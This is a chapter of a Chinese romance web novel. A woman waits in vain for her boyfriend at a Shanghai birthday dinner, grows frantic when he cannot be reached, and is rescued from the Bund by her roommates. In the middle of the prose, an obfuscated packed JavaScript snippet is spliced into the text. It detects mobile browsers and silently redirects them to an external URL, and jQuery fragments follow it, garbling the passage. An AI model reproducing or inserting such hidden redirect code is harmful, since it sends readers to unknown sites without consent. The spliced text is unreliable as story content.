唐瑜嫣不免撑着脑袋思忖:哪有请人吃饭不回消息还迟到的啊……难不成是不喜欢高铁直达,非得到温州转机?然后飞机又晚点了? 但鉴于这人的信誉分太高,她决定再等一会儿,指不定又在暗戳戳地给她准备什么惊喜呢。 就这么又过了二十分钟,在一旁等候许久的服务员终于站不住了,走到她跟前,笑意盈盈地表达催促之意:“唐女士,宋先生先前订的餐可以上了吗?我们餐厅是等位制的,如果宋先生有事耽搁了,要不您……” 唐瑜嫣心里也有些许不满,这人到底在搞什么名堂,大半个小时了依旧杳无音信……算了,不准时到她就自己吃,留一桌剩菜剩饭让他自己舔盘子,委屈谁也不能委屈到自己。 于是她摆摆手,让服务员将菜品呈上来,开始用小刀划拉牛排。 冒着热气的西冷慢慢从一整块变成十几小片,小片又从中间切开分成两半,两半再被截成四下,四下一茫然,最终化为一堆冰冷细碎的肉丁。 “宋飞珑,你再不来,我可要把你的牛排吃完了。”胃里空落落的,只有圣女果赤红的汁水在空腔内排山倒海。唐瑜嫣颇为恼火地戳着手机屏幕,真是给他脸了,过个生日还坐在这等他那么久。 她想了想,又随手一拍,向他通报目前碎成粉末的牛肉现状,“看到了吗,敢放我鸽子,这就是你的下场。” “怎么?还嫌太大块?晚一分钟给你多来一刀!” “人呢?人呢?人呢?人呢?” 他们俩的对话框内向来是白色泡泡压过绿色泡泡,可现在绿色泡泡都快堆成了一座小山,白色泡泡依旧没有出现,仿佛只要看不见就不用被制裁了一般。 唐瑜嫣的心里终于开始泛出些许不安了。失联个把小时还可能是恶作剧,这都过了这么久了,还不回消息。宋飞珑不可能开这么没有分寸的玩笑,不会真发生什么意外了吧? 飞机失事?电梯停运?实验楼爆炸?不至于吧……这也太离谱了。 啧,好人不长命,祸害遗千年,作为铁山的最大祸害,宋飞珑,你可千万要把自己的命系在裤腰带上啊。 这些乱七八糟的想法涨得她脑袋嗡嗡疼,衣物过薄带来的失温感越来越严重,她愈发感到头重脚轻。 因此她猛地站起来舀了一碗汤,混着肉沫将食物中的热量冲进胃里,试图骗过自己的身体——我很好,真的,你也支棱点。 然而这么一冷一热交杂在一起,她的胃更需抗议了,膨胀了一整天的惊喜感渐渐冷却,取而代之的是一股莫名的担忧。 “不会真出了什么大事吧……”思到此,她手一抖,锋利的刀具在指腹上留下一道短口,她下意识地放到嘴边一抿,铁锈味便在口腔中疯狂蔓延。 还是打电话吧……她心念一动,三两下便将手中的号码拨送出去。 “嘟……嘟……嘟……您好,您拨打的用户已关机,请稍后再拨。” “……您好,您拨打的用户已关机,请稍后再拨。” “……你拨打的用户已关机,请稍后再拨。” “……请稍后再拨!请稍后再拨!” 忙音、忙音、还是忙音。连着几个电话过去尽是忙音,唐瑜嫣有些心急了,慌忙中改拨了老陈的电话。 “哎……小唐?这么晚了,有什么事吗?”老陈显得颇为惊讶,“今天还是你生日吧,生日快乐啊!” 可惜还没等他祝福完,唐瑜嫣便立马打断,“老陈,你找得到宋飞珑吗?我打不通他的电话,他关机了。” “哎?小宋吗……小唐先你别着急,他是不是在实验室不方便带手机?” “不可能,他说今晚来找我,现在都快九点半了,他不可能失踪这么久。”唐瑜嫣斩钉截铁。 “我帮你问一下嗷,我听说昨晚宋董好像住……”他似乎将话筒拿远了些,后面的几个字被电流声掩盖,显得有些含糊不清。 “奇了怪了,他们家怎么没人接电话……”老陈没有挂断与她的通话,而是直接拿起师母的手机,挨个拨出了宋家人的号码。 眼见着事况滑向不好的地方,老陈赶紧安慰她;“小唐没事的啊,你等我再问问。你现在还在外面对不对,你先赶紧回学校,太晚了,你们宿舍大门也要关了。” “我就是担心他出了什么事。”唐瑜嫣头一回这么急躁,没空也不想附和老陈的话,她认真地强调:“他已经将近24个小时没回我消息了,现在回去我心里不安。” “没事的,没事的……”老陈不知为何开始喃喃自语,“他们一家积德行善,福气多得很呢……” 这时候的唐瑜嫣实在受不了他这些无意义的絮叨了,三言两语便挂断了电话,开始在通讯录里暴躁地划拉。 随着无数熟悉的名字撞进她的眼里,展妙、段辰、老陈、老盛……她猛然间惊觉,似乎除去铁山的老师,她竟找不出其他任何能联系上宋飞珑的人。 怎么会如此,为什么……为什么他在联系我爸妈的时候就那么轻松,为什么我在紧急时刻就找不到他,为什么从来都是他照顾我,没有我照顾他,我始终在索取…… 这一发现如同一块石子,一经投出,便在她的心里惊起千尺浪潮。 “哈,我到底在干什么啊……过了这么久,连其它联系他的方式都没有,他的朋友,他的教授,他的同学,我通通不认识………” 胃在抽搐痉挛,唐瑜嫣撑着渗出冷汗的额角,身体不由自主地打颤。 “你到底去哪了,别这样,别这么莫名其妙地消失,好歹留下一条消息,至少让我知道,你还会出现……” 座钟的时针默默指向十一,服务员又来提醒了:“女士?女士?唐女士?我们店要关门了哦,桌上这些菜……需要我替您打包吗?” “不用、不用!请帮我留在这,不是,我的意思是,放在这就好……” “女士,我们餐厅主打高档商务约会,所有菜品均不过夜的。”服务员闻言立马瞪大了眼,连连摆手提醒,“要不您还是……” “不用,真的不用……”唐瑜嫣不记得自己是怎么走出那家店的了,她好像拖着长长的裙摆,在寒风里漫步,等她缓过神来的时候,双臂已经快被冻僵了。 人潮散尽的外滩仿佛是另一个世界,闪耀的霓虹熄灭,古旧的建筑群变得鬼气森森,外圈的烂尾楼如同一具具被遗忘的巨型骨骼,脚手架的铁管裸露在夜色里,在江风中发出呜咽般的低鸣。 “啊啦,小唐,你到底回不回来,我们要睡觉了!”不知到了何时,“林妹妹”的声音突然从话筒传出来,“怎么着,乐不思蜀了?不回来早点说啊!我都和我男朋友煲了两个小时电话粥了!” “回的……”沙哑干涩的声音通过声带振动而出,将她自己和“林妹妹”都吓了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406517|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一大跳。 “我的法克!我真他妈!那男的欺负你了!”“林妹妹”突然激动起来,脏话如机关枪般连突而出,“你在哪?我去接你。我要看看到底是哪个崽种……” “我在,外滩?应该是吧?”唐瑜嫣自动过滤掉一连串不雅词汇,抬头四下张望,却发现周围的环境如此陌生。她站在路口,不知该往哪里去。 “靠!还把你丢街边了!手没冻僵吧,你把定位发给我,我喊我拐开车去接你!”“林妹妹”几乎是在一瞬间蹦下床,妆也不化,裙子也不穿,披了件大外套就冲下楼,“你找个没风的地方躲着哈,听到没有,男人都是外物,身体是自己的啊!” “真稀奇,这话竟然是从她嘴里说出来的。”绕出了繁华区域,周围的中古vintage买手店主理人自是不会在大半夜加班。 唐瑜嫣只好退而求其次地找了根大理石柱子靠着蹲下,没想到膝盖一弯,腿便全软了,大脑更是变得昏昏沉沉的,拼命拽着绵软无力的身子往前栽。 “他到底去哪了?”唐瑜嫣顺势将额头抵在冰凉的石柱面上,嘴里默默念叨:“最好是手机坏了,全家的手机都坏了……” 或许心理暗示真有效果,在她重复了近乎几十上百遍的时候,一只冒着腾腾热气的手突然出现在了她的面前。 如同一位在冰川雪地里碰到火炉的感冒重症患者,唐瑜嫣下意识地微眯着眼向上打探——啊,长头发的,肯定不是他。于是她又缩回软绵绵的手,继续把自己圈在白毛大裘里。 “坏了坏了,不会给她烧糊涂了吧!”“林妹妹”担忧的声音从侧面响起,她用力跺了跺脚,用指甲尖戳着身边的人:“你用点力啊,没吃晚饭吗!要是我男朋友在……” “呵,男朋友,男朋友,你先把那头蠢猪从酒吧里拖出来再跟我说这种有的没的吧。”又一个熟人,手腕上没名包没名表的“香奶奶”恶意地嘲讽道,“也不知道是谁在打视频电话,让我听了一晚上鬼哭狼嚎。” “哈?要是没我家霍哥哥,你能从哪搞到沪A牌照的车,我们坐地铁来接人吗,哦,我忘了,这个点,连地铁都关了~”“林妹妹”偏不惯着她,翻着白眼阴阳怪气,“就你仇富嫉恶人间清醒!” “你再跟我掐?我们是来干什么的?”“香奶奶”哼笑一声,终于是记起了刚拉到一半的唐瑜嫣,一个使劲将她拉到背上,懒得给“林妹妹”半个眼色,“走啊,你也想被关在外面?” “我早就跟舍管说好了!哪像你,甩着手就往外走!”“林妹妹”立马给她甩了个中指,连着啐了好几口,“除了当司机半点用都没有!” “你就有用了,还不是靠男人。”“香奶奶”大跨步向前,拉开车后门,把唐瑜嫣安置下来,扔了条毯子给她盖上,又将“林妹妹”粗暴地推进去,“什么时候学会自由行走了再跟姑奶奶讲话。” “我靠他少走十年弯路,没毕业就能落户,有颜有钱还是沪少,脾气好玩得花会疼人,最重要的是,他要是敢婚内出/轨我还能大赚一笔,我不傍他傍你啊?”“林妹妹”理直气壮地回怼,“少对别人的成功方式指手画脚。” 姑奶奶、十年弯路、结婚、出/轨、玩得花……这都什么乱七八糟的,唐瑜嫣的大脑越听越混沌,最后终于眼前一黑,靠着“林妹妹”的肩膀彻底昏死过去。 她在闭眼前看到的最后一幕,是十年未曾下雪的魔都,飘下了象征冬日的第一场雪。正巧此刻远方钟声长鸣,时针和分针彻底重合,奇迹没有出现,梦醉了,梦醒了,第二天准时到来了。